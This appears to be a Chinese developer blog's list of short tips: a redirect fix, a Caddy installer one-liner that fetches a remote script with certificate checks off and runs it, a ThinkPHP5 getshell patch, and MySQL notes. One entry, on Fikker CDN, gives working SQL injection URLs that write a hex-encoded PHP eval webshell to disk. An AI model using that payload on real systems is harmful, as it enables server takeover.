这个主要是由于涉及到跳转链接的问题,解决方法很简单:
跳转的方式改为:
window.location.replace("1.html");
jincon 发表于 2019-01-23, 5:48 PM
这个主要是由于涉及到跳转链接的问题,解决方法很简单:
跳转的方式改为:
window.location.replace("1.html");
jincon 发表于 2019-01-07, 9:59 PM
jincon 发表于 2019-01-05, 12:36 AM
Caddy是一个使用Go语言写的HTTP Server,开在性能上或许比不上Nginx,但是在上手及配置难度上面真的是比Nginx简单许多。同时Caddy支持自动签订Let’s Encrypt SSL证书,只需要提供一个可用邮箱即可
wget -N --no-check-certificate https://raw.githubusercontent.com
/ToyoDAdoubi/doubi/master/caddy_install.sh && chmod +x caddy_install.sh
&& bash caddy_install.sh install http.filemanager
Caddy使用命令
启动:/etc/init.d/caddy start
停止:/etc/init.d/caddy stop
重启:/etc/init.d/caddy restart
查看状态:/etc/init.d/caddy status
查看Caddy启动日志: tail -f /tmp/caddy.log
Caddy配置文件位置:/usr/local/caddy/Caddyfile
Caddy自动申请SSL证书位置:/.caddy/acme/acme-v01.api.letsencrypt.org/sites/xxx.xxx(域名)/
jincon 发表于 2018-12-31, 10:10 PM
Fikker 是一款面向 CDN/站长 的专业级网站缓存(Webcache)和反向代理服务器软件(Reversed Proxy Server)。近日在一起安全事件中发现fikker主控多个php文件存在高危注入漏洞,可获取Webshell
#爆目录
admin_modify.php?id=-1%20union%20select%201,
@@basedir,3,4,5,6,7,8,9,10,11,12,13
#写一句话
admin_modify.php?id=1%20and%201=2%20union%20
select%200x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,
0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e,9,10,11,12,13%20into%20outfile%20%27d:/FikkerCDN/webroot/fikcdn/admin/test.php%27
jincon 发表于 2018-12-28, 8:10 PM
Thinkphp5控制器名过滤不严导致getshell,网上很多人放出getshell脚本。
修复方法:
5.0版本 在think\App类的module方法的获取控制器的代码后面加上 if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); }
5.1版本 在think\route\dispatch\Url类的parseUrl方法,解析控制器后加上 if ($controller && !preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); }自行增加相关代码。(5.0版本代码 | 5.1版本代码)
jincon 发表于 2018-12-28, 11:27 AM
微信分享到朋友圈onMenuShareTimeline成功后的回调函数不执行的解决方法
测试IOS不支持,具体解决方法:
//以下代码放入success内,
setTimeout(function(){
//回调要执行的代码
}, 500);
jincon 发表于 2018-12-26, 12:14 PM
1. mysql -h 127.0.0.1 的时候,使用TCP/IP连接, mysql server 认为该连接来自于127.0.0.1
或者是"localhost.localdomain"
2. mysql -h localhost 的时候,是不使用TCP/IP连接的,而使用Unix socket;
此时,mysql server则认为该client是来自"localhost"
localhost也叫local ,正确的解释是:本地服务器
127.0.0.1在windows等系统的正确解释是:本机地址(本机服务器)
localhot(local)是不经网卡传输!这点很重要,它不受网络防火墙和网卡相关的的限制。
127.0.0.1是通过网卡传输,依赖网卡,并受到网络防火墙和网卡相关的限制。
一般设置程序时本地服务用localhost是最好的,localhost不会解析成ip,也不会占用网卡、网络资源。
jincon 发表于 2018-12-25, 12:56 AM